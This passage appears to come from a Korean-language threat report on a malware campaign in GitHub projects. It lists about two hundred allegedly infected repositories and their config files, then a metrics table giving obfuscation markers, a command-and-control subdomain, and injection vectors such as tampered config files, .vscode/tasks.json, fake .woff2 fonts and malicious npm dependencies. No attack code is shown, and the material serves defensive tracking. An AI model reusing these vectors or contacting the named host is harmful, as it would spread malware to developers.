addis-ale/discord | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 244 | addis-ale/hirecards-prod | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 245 | addis-ale/ega_updated | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 246 | addis-ale/group-match | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 247 | SanjayaPrasadRajapaksha/Hotel_Booking-Admin_Panel | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 248 | SanjayaPrasadRajapaksha/Todo_App | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | my-app/postcss.config.mjs | | | | 249 | PremShakti/Inventory-Todo-Manager | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 250 | fsdteam8/lowready-dashboard | fsdteam8 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 251 | badhon252/shift-scheduler | badhon252 | User | 0 | 0 | 1 | postcss.config.mjs | 교대 일정 관리를 간소화하기 위해 구축되었습니다. | | | 252 | fsdteam8/stevenar77-dashboard | fsdteam8 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 253 | Atif-Hameed/unsigned-frontend | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 254 | Atif-Hameed/social-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 255 | Atif-Hameed/cybenty | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 256 | anthemnandani/ai | anthemnandani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 257 | mijanConnect/the-piegeon-hub-website | mijanConnect | User | 0 | 0 | 1 | postcss.config.mjs | | | | 258 | Button-20/juzbuild | Button-20 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 259 | HyderYash/my-progess-tracker | HyderYash | User | 0 | 0 | 1 | postcss.config.mjs | | | | 260 | MohamedH1000/course | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 261 | nipun-imesh/sample-react | nipun-imesh | User | 0 | 0 | 1 | postcss.config.mjs | | | | 262 | sayyamButt317/ishout | sayyamButt317 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 263 | rvmediacorp/Headshot-Portland-Official | rvmediacorp | User | 0 | 0 | 1 | postcss.config.mjs | | | | 264 | Sawjal-sikder/faceAi-front-end | Sawjal-sikder | User | 0 | 0 | 1 | postcss.config.mjs | | | | 265 | SanjayaPrasadRajapaksha/E-Commerce | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 266 | Rahulkumarhavit/multi-tenant-architecture | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 267 | Mohsin-Javed48/connectors-nextJs | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 268 | Axxi3/hennery | Axxi3 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 269 | UzairAhmedDahraj/clickup-nextjs-demo | UzairAhmedDahraj | User | 0 | 0 | 1 | postcss.config.mjs | | | | 270 | Mike-flowbiz/Flowbiz-backend | Mike-flowbiz | User | 0 | 0 | 1 | postcss.config.mjs | FlowBiz 백엔드 API – Node.js, PostgreSQL, JWT, PDF 서비스 | | | 271 | phillipshepard1/internal-re-crm | phillipshepard1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 272 | mahadi-zulfiker/mz-events-frontend | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Next.js 14 및 Tailwind CSS로 구축된 이벤트 및 활동 플랫폼을 위한 현대적이고 반응이 빠르며 기능이 풍부한 프론트엔드입니다. 이 애플리케이션은 사용자가 이벤트를 발견하고, 호스트가 목록을 관리하며, 관리자가 플랫폼을 감독할 수 있는 원활한 경험을 제공합니다. | | | 273 | fareed-aslam/capitalkv | fareed-aslam | User | 0 | 0 | 1 | CapitalKV-AI-master/frontend/postcss.config.mjs | | | | 274 | TimothyBabatu13/Stampchain | TimothyBabatu13 | User | 0 | 0 | 1 | stamp-chain/postcss.config.mjs | | | | 275 | iamanaskhan10/my-portfolio-nextjs | iamanaskhan10 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 276 | MatiasCuadra98/ai-excel | MatiasCuadra98 | User | 0 | 0 | 1 | apps/frontend/postcss.config.mjs | | | | 277 | manuel-spec/another-portfolio | manuel-spec | User | 0 | 0 | 1 | postcss.config.mjs | | | | 278 | kasunwathsala/Nextjs-Protfolio | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | Next.js 14, TypeScript 및 Tailwind CSS로 구축된 활기차고 현대적이며 완전히 반응하는 포트폴리오 웹사이트입니다. 멋진 그라데이션 디자인, 부드러운 애니메이션 및 프로젝트와 기술을 눈에 띄게 보여주는 다채로운 UI가 특징입니다. | | | 279 | shayanwd/vts-nextjs | shayanwd | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 280 | JudeTejada/reactly | JudeTejada | User | 0 | 0 | 1 | apps/web/postcss.config.mjs | | | | 281 | fyunusa/video-tool | fyunusa | User | 0 | 0 | 1 | postcss.config.mjs | | | | 282 | TranDoanKhoe/Velvere | TranDoanKhoe | User | 0 | 0 | 5 | src/components_bonus/my-tab/postcss.config.mjs | src/components_bonus/my-app/postcss.config.mjs | src/components_bonus/my-select/postcss.config.mjs | src/components_bonus/my-button/postcss.config.mjs | src/components_bonus/my-calendar/postcss.config.mjs | | | | 283 | cywasay/leaders | cywasay | User | 0 | 0 | 1 | leaders-admin/postcss.config.mjs | | | | 284 | TimothyBabatu13/TokenMind | TimothyBabatu13 | User | 0 | 0 | 1 | token-mind/postcss.config.mjs | 토큰을 위한 스마트 AI 두뇌 | | | 285 | shani-techv1/source-app-v2 | shani-techv1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 286 | Mfahadk99/syssel-web-internal | Mfahadk99 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 287 | Nathanim1919/time-lens | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 288 | addis-ale/wetruck-shipper | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 289 | Romicha935/image-gallery | Romicha935 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 290 | Ali-Hamas/Todo-App | Ali-Hamas | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 291 | MohamedH1000/philadelphia_university | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 292 | saifullah-max/surfchem | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 293 | ahnaafarafee/bionic-seven | ahnaafarafee | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | Bionic 7의 공식 웹사이트 - 이슬람 대학교 생물의학 공학 7기 | | | 294 | malirazaansari/Protfolio_project | malirazaansari | User | 0 | 0 | 1 | postcss.config.mjs | 내 개인 포트폴리오 | | | 295 | ayanmal1k/DragoPump | ayanmal1k | User | 0 | 0 | 1 | postcss.config.mjs | Solana 토큰 사이트 | | | 296 | Shumaim-Naseer-Kiyani/framer_project | Shumaim-Naseer-Kiyani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 297 | prosigns/dex-data-aggregation | prosigns | User | 0 | 0 | 1 | postcss.config.mjs | | | | 298 | MrSohaibAhmed/interview-assessment | MrSohaibAhmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 299 | roma2023/Snoonu | roma2023 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 300 | Mohsin-Javed48/nextjs-witd-oasis | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 301 | kasunwathsala/Caramel-Pudding-web | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | Next.js 및 shadcn/ui로 구축된 카라멜 푸딩 판매를 위한 프리미엄 전자상거래 플랫폼입니다. 제품 카탈로그, 쇼핑 카트, 체크아웃 및 반응형 디자인을 갖춘 완벽한 쇼핑 경험을 제공합니다. 자체 데이터베이스 백엔드로 결제 통합 및 확장 준비가 되어 있습니다. | | | 302 | mahadi-zulfiker/crm | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | 조직 및 HR 팀의 채용 워크플로를 간소화하도록 설계된 풀스택 역할 기반 채용 관리 시스템입니다. | | | 303 | humayun506034/ReviewHub-Client | humayun506034 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 304 | brianonbased-dev/BaseAppShop | brianonbased-dev | User | 0 | 0 | 1 | postcss.config.mjs | Base App용 Brian Shopify 스토어 | | | 305 | sanjay10985/lead-generation-landing-page | sanjay10985 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 306 | Rahulkumarhavit/finance-advisor | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 307 | ayanmal1k/Sol-Market | ayanmal1k | User | 0 | 0 | 1 | postcss.config.mjs | | | | 308 | Mohsin-Javed48/dresscode-nextjs | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 309 | Hriday-paul/anyjob-wellcome | Hriday-paul | User | 0 | 0 | 1 | postcss.config.mjs | | | | 310 | a-belard/rayyan | a-belard | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 311 | kasunwathsala/Service-marketplace | kasunwathsala | User | 0 | 0 | 1 | navbar-vite (3)/postcss.config.mjs | 고객과 서비스 제공자를 연결하는 포괄적인 풀스택 웹 애플리케이션으로, 원데이 서비스, 계약 기반 작업 및 파트타임 기회를 포함한 여러 카테고리를 포함합니다. | | | 312 | kasunwathsala/saloon-booking-system | kasunwathsala | User | 0 | 0 | 1 | salon-booking-system/postcss.config.mjs | Next.js 및 React로 구축된 현대적이고 반응이 빠른 미용실 예약 웹사이트입니다. 이 포괄적인 뷰티 살롱 관리 시스템은 서비스 목록, 스타일리스트 프로필, 다단계 예약, 고객 후기 및 연락처 관리를 제공합니다. | | | 313 | Nathanim1919/becoming | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 314 | Adithyahewage/portfolio_website | Adithyahewage | User | 0 | 0 | 1 | postcss.config.mjs | | | | 315 | Ali-Hamas/Website-Todo | Ali-Hamas | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 316 | MohamedH1000/Mersal | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 317 | MohamedH1000/cruise | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 318 | kasunwathsala/portfolio-2026 | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | | | | 319 | mahadi-zulfiker/SpaceZee | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | 라이브 웹사이트 | | | 320 | mahadi-zulfiker/REPLIQ-Limited-Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | 라이브 링크 | | | 321 | ahmadraza382/E-commerce-website | ahmadraza382 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 322 | Rahulkumarhavit/carmarket-place | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 323 | Rahulkumarhavit/Nextjs-productivity | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 324 | tanushka1726/react_next | tanushka1726 | User | 0 | 0 | 1 | postcss.config.mjs | Reader Website는 Next.js 및 TypeScript를 사용하여 구축된 현대적이고 반응이 빠른 웹 애플리케이션으로, 원활한 사용자 경험으로 책을 소개하고 탐색하도록 설계되었습니다. 동적 라우팅, 재사용 가능한 구성 요소를 갖추고 있으며 공개 액세스를 위해 완전히 배포되었습니다. 대화형 읽기를 원하는 독자, 책 애호가 또는 콘텐츠 플랫폼에 이상적입니다. | | | 325 | Sameer447/O2_app | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 326 | dmytro-chushko/portfolio-dev-dc | dmytro-chushko | User | 0 | 0 | 1 | postcss.config.mjs | | | | 327 | Axxi3/ladyfoxx | Axxi3 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 328 | Vladyslav0060/autopartner | Vladyslav0060 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 329 | PremShakti/jewelry-kiosk | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 330 | theeurbanlegend/Hackathon-Submission | theeurbanlegend | User | 0 | 0 | 1 | client/postcss.config.mjs | | | | 331 | SouravDn-p/NextManager-YourInventory-Manager | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Next.js 인벤토리 관리자 Next.js 14 앱 라우터, Tailwind CSS, MongoDB 및 Redux Toolkit (RTK Query)로 구축된 풀스택 인벤토리 관리 시스템입니다. 이 앱은 NextAuth.js(Google, GitHub)를 통한 소셜 인증과 JWT를 사용한 기존 이메일/비밀번호 로그인을 모두 지원합니다. | | | 332 | abdullah2310ishaq/zeebuddy | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 333 | JudeTejada/project-monitoring | JudeTejada | User | 0 | 0 | 1 | postcss.config.mjs | | | | 334 | salwaaliakbar/my-portfolio | salwaaliakbar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 335 | abdullah2310ishaq/company | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 336 | wahab3913/kalibar-manger1 | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 337 | ninjadevhub/Flood-Risk-Mapper | ninjadevhub | User | 0 | 0 | 1 | postcss.config.mjs | | | | 338 | trobits/trobits-frontend | trobits | User | 0 | 0 | 1 | postcss.config.mjs | | | | 339 | Shumaim-Naseer-Kiyani/ai_landing_page | Shumaim-Naseer-Kiyani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 340 | ChiraniSiriwardhana/Portfolio | ChiraniSiriwardhana | User | 0 | 0 | 1 | postcss.config.mjs | | | | 341 | carrantal/frontend | carrantal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 342 | Nathanim1919/atlas | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 343 | asadullah-kazmi/syncspace | asadullah-kazmi | User | 0 | 0 | 1 | frontend/postcss.config.mjs | Next.js, WebSocket 및 CRDT(Yjs)로 구축된 실시간 협업 플랫폼으로, 충돌 없는 상태 동기화 및 지연 시간이 짧은 업데이트로 다중 사용자 문서 편집을 가능하게 합니다. | | | 344 | usman-174/form-pdf | usman-174 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 345 | evenwalser/FinalPaperclipPro | evenwalser | User | 0 | 0 | 1 | postcss.config.mjs | Hetal이 Paperclip Vercel로 이동하기 위한 것입니다. | | | 346 | huzzy12/portfolio | huzzy12 | User | 0 | 0 | 1 | postcss.config.mjs | 내 포트폴리오 웹사이트 | | | 347 | Sameer447/my-app | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 348 | wahab3913/kalibar | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 349 | sybotstackdev/Portfolio | sybotstackdev | User | 0 | 0 | 1 | postcss.config.mjs | | | | 350 | NEERAJ131124/pisync-fe | NEERAJ131124 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 351 | RazaAkmal/frontend-test | RazaAkmal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 352 | kasunwathsala/Loomistore | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | | | | 353 | um8r/bridge-master-fyp | um8r | User | 0 | 0 | 1 | postcss.config.mjs | | | | 354 | RathodDeven/danz-web | RathodDeven | User | 0 | 0 | 1 | postcss.config.mjs | | | | 355 | Gowreesh-VT/OnlyFoundersV2 | Gowreesh-VT | User | 0 | 0 | 1 | postcss.config.mjs | | | | 356 | garrycha/test-job | garrycha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 357 | wasi2320/ctk-new | wasi2320 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 358 | sayyamButt317/hire-with-tess-frontend | sayyamButt317 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 359 | Al-amin07/bigso_app | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 360 | shermuhammad786/gs-hackathon | shermuhammad786 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 361 | smit455/big_bazaar-store | smit455 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 362 | jbaze/borec-basket-claude | jbaze | User | 0 | 0 | 1 | postcss.config.mjs | | | | 363 | Al-amin07/project-9-client | Al-amin07 | User | 0 | 0 | 3 | postcss.config.mjs | tailwind.config.js | eslint.config.mjs | | | | 364 | farihulrouf/orcx_fe | farihulrouf | User | 0 | 0 | 1 | postcss.config.mjs | | | | 365 | wahab3913/kalibar-m2 | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 366 | finom/realtime-kanban | finom | User | 0 | 0 | 1 | postcss.config.mjs | | | | 367 | rejoan121615/heritage-trial-overlay | rejoan121615 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 368 | Ruwanima/Portfolio | Ruwanima | User | 0 | 0 | 1 | postcss.config.mjs | | | | 369 | Lithira-Sasmitha/social_app | Lithira-Sasmitha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 370 | coderkhalide/selorax-canvas | coderkhalide | User | 0 | 0 | 1 | apps/canvas-v2/postcss.config.mjs | | | | 371 | Button-20/juzbuild-background-processor | Button-20 | User | 0 | 0 | 1 | templates/homely/postcss.config.mjs | | | | 372 | Muhammadfaizanjanjua109/frammerMotion | Muhammadfaizanjanjua109 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 373 | AHAdd40451/task-sheet | AHAdd40451 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 374 | zaheerahmad92001/pettro | zaheerahmad92001 | User | 0 | 0 | 1 | postcss.config.mjs | 반려동물 애호가를 위한 Pettro | | | 375 | MahadA456/mahad-portfolio | MahadA456 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 376 | Joyeta-Mondal/Sparktech-Agency-assessment | Joyeta-Mondal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 377 | webprogramminghack/b3-practice-31 | webprogramminghack | User | 0 | 0 | 1 | postcss.config.mjs | | | | 378 | Adithyahewage/Salon-demo | Adithyahewage | User | 0 | 0 | 1 | postcss.config.mjs | 미용실 고객을 위한 데모 프로젝트 | | | 379 | akashstwt/eth-global-cryptowiki | akashstwt | User | 0 | 0 | 1 | postcss.config.mjs | | | | 380 | Gowreesh-VT/AWS-Web-Dev | Gowreesh-VT | User | 0 | 0 | 1 | postcss.config.mjs | | | | 381 | dynamicdreamz1/startup-voyager | dynamicdreamz1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 382 | farhanmasood-se/live-docs | farhanmasood-se | User | 0 | 0 | 1 | postcss.config.mjs | | | | 383 | dmytro-chushko/form-editor | dmytro-chushko | User | 0 | 0 | 1 | postcss.config.mjs | 사용자 정의 양식을 작성, 게시 및 제출물을 수집하기 위한 Next.js 애플리케이션입니다. 끌어서 놓기 편집기가 있는 인증된 관리자 영역과 공개 양식 경험이 포함됩니다. | | | 384 | Sameer447/launchpad-incubator-backend | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 385 | SouravDn-p/Advance-HealthCare-Next-Level-of-Smarter-Better-Health | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | 고급 의료 서비스 || 온라인 상담, 안전한 건강 기록, 전자 처방전, 스마트 증상 평가 및 개인화된 환자 치료를 하나의 원활한 웹 경험으로 제공하는 완벽한 올인원 디지털 의료 플랫폼입니다. | | | 386 | SouravDn-p/Scribe-AI-Powered-Note-Taking-App | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 387 | SouravDn-p/multi-form-transaction | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | 간단한 거래 데모 플랫폼 | | | 388 | SouravDn-p/authjs-next-authentications | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 389 | abdullah2310ishaq/qudrat | abdullah2310ishaq | User | 0 | 0 | 1 | admin-panel/postcss.config.mjs | | | | 390 | SouravDn-p/PathFinder---Smarter-Admissions-Simpler-Bookings | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | PathFinder – 더 스마트한 입학, 더 간편한 예약 대학 입학 예약을 위한 풀스택 Next.js 앱입니다. 대학 검색, 입학 양식, 리뷰, 프로필 관리 및 JWT 기반 인증이 특징입니다. | | | 391 | abdullah2310ishaq/resposive-doctor-websote | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 392 | abdullah2310ishaq/ecommerce_jewellery_store | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 393 | Al-amin07/pioneer | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 394 | smit455/big_bazaar-admin | smit455 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 395 | smit455/Task_manager | smit455 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 396 | dhruvmalik007/Stratavault | dhruvmalik007 | User | 0 | 0 | 2 | apps/web/postcss.config.mjs | packages/ui/postcss.config.mjs | Ethglobal Hackmoney 2026 제출을 위한 애플리케이션: 예측 시장에 쉽게 투자할 수 있는 에이전트 경험 플랫폼 구축 | | | 397 | finom/blok | finom | User | 0 | 0 | 1 | postcss.config.mjs | | | | 398 | rejoan121615/website-generator | rejoan121615 | User | 0 | 0 | 1 | packages/dashboard/postcss.config.mjs | | | | 399 | abdullah2310ishaq/personal-portfolio | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 400 | Joyeta-Mondal/arklab-ai-assessment | Joyeta-Mondal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 401 | Adithyahewage/Gym-demo | Adithyahewage | User | 0 | 0 | 1 | postcss.config.mjs | 체육관 고객을 위한 데모 프로젝트 | | | 402 | Gowreesh-VT/VITopoly | Gowreesh-VT | User | 0 | 0 | 1 | postcss.config.mjs | | | | 403 | farhanmasood-se/slack-clone | farhanmasood-se | User | 0 | 0 | 1 | postcss.config.mjs | Next.js, Convex 및 Shadcn UI로 구축된 이 Slack 유사 앱에서 실시간 메시징, 리치 텍스트 편집 및 이모지 지원을 통해 팀과 협업하세요. | | | 404 | Socheema/clot | Socheema | User | 0 | 0 | 1 | postcss.config.mjs | Clot으로 최고의 패션 제품을 쇼핑하세요 | | | 405 | Shumaim-Naseer-Kiyani/project1 | Shumaim-Naseer-Kiyani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 406 | Muhammad-Hammad-Abbasi/next.js-hackathon | Muhammad-Hammad-Abbasi | User | 0 | 0 | 1 | postcss.config.mjs | Figma 웹 디자인 해커톤입니다. | | | 407 | Germs31/small-traslator-ai | Germs31 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 408 | prudywn/GrowthProject | prudywn | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 409 | FaizaFarooq23/photo-gallery | FaizaFarooq23 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 410 | dbankston2409/Sober-Deck | dbankston2409 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 411 | mahadi-zulfiker/Nextjs-Prisma-Portfolio-Frontend | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | 라이브 웹사이트 | | | 412 | seemab-ahmed/blockdag | seemab-ahmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 413 | abdullah2310ishaq/zee-admin | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 414 | lnbglondoncoin/lnbglondon | lnbglondoncoin | User | 0 | 0 | 1 | postcss.config.mjs | | | | 415 | ahmadraza382/Ferrano | ahmadraza382 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 416 | JPChoyon/bikeBotics | JPChoyon | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 417 | Anas-Ali-3673/caa-interface | Anas-Ali-3673 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 418 | akashstwt/fleek | akashstwt | User | 0 | 0 | 1 | postcss.config.mjs | | | | 419 | wolfstudiosai/havocker | wolfstudiosai | User | 0 | 0 | 1 | postcss.config.mjs | | | | 420 | mdemong87/theamfisher-assignment | mdemong87 | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 421 | eftakhar-491/L-2_B-6-Assignment-4-frontend | eftakhar-491 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 422 | mohsulthana/yc-directory-nextjs | mohsulthana | User | 0 | 0 | 1 | postcss.config.mjs | | | | 423 | deepaksh798/dashboard-second | deepaksh798 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 424 | mahadi-zulfiker/Hishabee_Frontend_Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | 라이브 사이트 | | | 425 | Ibraz94/inventory_management_system | Ibraz94 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 426 | mdnuruzzamannirob/your-capture-awards | mdnuruzzamannirob | User | 0 | 0 | 1 | postcss.config.mjs | | | | 427 | Germs31/expense-tracking | Germs31 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 428 | Adharshms/builder | Adharshms | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 429 | Nathanim1919/Avaitor-game | Nathanim1919 | User | 0 | 0 | 1 | client/postcss.config.mjs | | | | 430 | saifullah-max/Navo-1 | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 431 | kanchana404/web | kanchana404 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 432 | kanchana404/kaidenz-clothing | kanchana404 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 433 | Muhammad-Hammad-Abbasi/persnol_portfolio_2 | Muhammad-Hammad-Abbasi | User | 0 | 0 | 1 | postcss.config.mjs | 개인 포트폴리오 | | | 434 | Salman1205/MailAssists-CRM | Salman1205 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 435 | SouravDn-p/Innovative-task-sd246 | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | taskEarn 웹사이트 | | | 436 | mahadi-zulfiker/PH-Job-Task-Web-Instructor | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | 라이브 웹사이트 | | | 437 | mahadi-zulfiker/Raintor-Job-Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | 라이브 웹사이트 | | | 438 | mahadi-zulfiker/SparkTech-Job-Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | 라이브 사이트 | | | 439 | seemab-ahmed/oradentclinic-website | seemab-ahmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 440 | AhmadRazaKhokhar1/url-shortner-frontend | AhmadRazaKhokhar1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 441 | nipun-imesh/Fly-connects-web-FN | nipun-imesh | User | 0 | 0 | 1 | tailwind.config.js | | | | 442 | Barosz30/Portfolio | Barosz30 | User | 0 | 0 | 1 | tailwind.config.js | | | | 443 | web-ghoul/movie-app | web-ghoul | User | 0 | 0 | 1 | tailwind.config.js | | | | 444 | Dawit212119/DMS | Dawit212119 | User | 0 | 0 | 1 | client/tailwind.config.js | Nextjs,express,prisma | | | 445 | Al-amin07/project_4_frontend | Al-amin07 | User | 0 | 0 | 1 | tailwind.config.js | | | | 446 | zeeshanrafiqrana/metropolis-arena-frontend | zeeshanrafiqrana | User | 0 | 0 | 1 | tailwind.config.js | Metropolis Arena 대화형 이벤트 좌석 배치도 — 프론트엔드 실습 과제 | | | 447 | Wasee-Ur-Rehman/DarziXpress | Wasee-Ur-Rehman | User | 0 | 0 | 1 | client/tailwind.config.js | 온라인 재단사 및 의류 수선 서비스 | | | 448 | Flitzinteractive/FlitzSpace | Flitzinteractive | User | 0 | 0 | 1 | client/tailwind.config.js | | | | 449 | addygeek/Walmart-Inventory-Clearance-Optimizer | addygeek | User | 0 | 0 | 1 | frontend/tailwind.config.js | Walmart와 같은 소매점을 위한 스마트 인벤토리 및 만료 관리 대시보드 — 긴급 점수 및 역할 기반 액세스로 할인 품목을 감지, 추적 및 최적화합니다. | | | 450 | Iambilalfaisal/Portfolio | Iambilalfaisal | User | 0 | 0 | 1 | tailwind.config.js | 내 포트폴리오 | | | 451 | malikjunaidhassann/updated-calcos-frontend | malikjunaidhassann | User | 0 | 0 | 1 | tailwind.config.js | | | | 452 | SimalChaudhari/plusfive | SimalChaudhari | User | 0 | 0 | 1 | tailwind.config.js | plusfive | | | 453 | Hassam-01/Forsit-task | Hassam-01 | User | 0 | 0 | 1 | tailwind.config.js | | | | 454 | shahvezjumani/chat_app | shahvezjumani | User | 0 | 0 | 1 | tailwind.config.js | | |
| 지표 | 3월 8일 (초기) | 4월 11일 (최신) | 변화 |
|---|
| 감염된 고유 리포지토리 | 675 | 1,951 | +1,276 |
| 영향을 받은 고유 소유자 | 352 | 1,047 | +695 |
| — 개인 사용자 | 305 | ~930 | +625 |
| — 조직 | 47 | ~117 | +70 |
| 관찰된 고유 난독화 변종 | 1 (rmcej%otb%) | 2 (rmcej%otb% + Cot%3t=shtP) | +1 |
| 확인된 고유 주입 벡터 | 1 (구성 파일) | 4 (구성 파일, .vscode/tasks.json, 가짜 .woff2 글꼴, 악성 npm 종속성) | +3 |
| 문서화된 고유 C2 하위 도메인 | 1 (260120.vercel.app) | 6+ (C2 인프라 참조) | +5 |
| 알려진 무기화된 숙제 템플릿 | 0 | 2+ (ShoeVista, StakingGame) | +2 |
위협 행위자가 이전 피해자를 재감염시키고 있습니다. 최소 한 개의 피해자 리포지토리(HassanHabibTahir/testclient)에는 다른 파일에 두 가지 변종의 마커가 포함되어 있어, 행위자의 도구가 이전에 손상된 호스트에 대해 재실행되어 새 난독화 도구를 주입하고 있음을 나타냅니다.
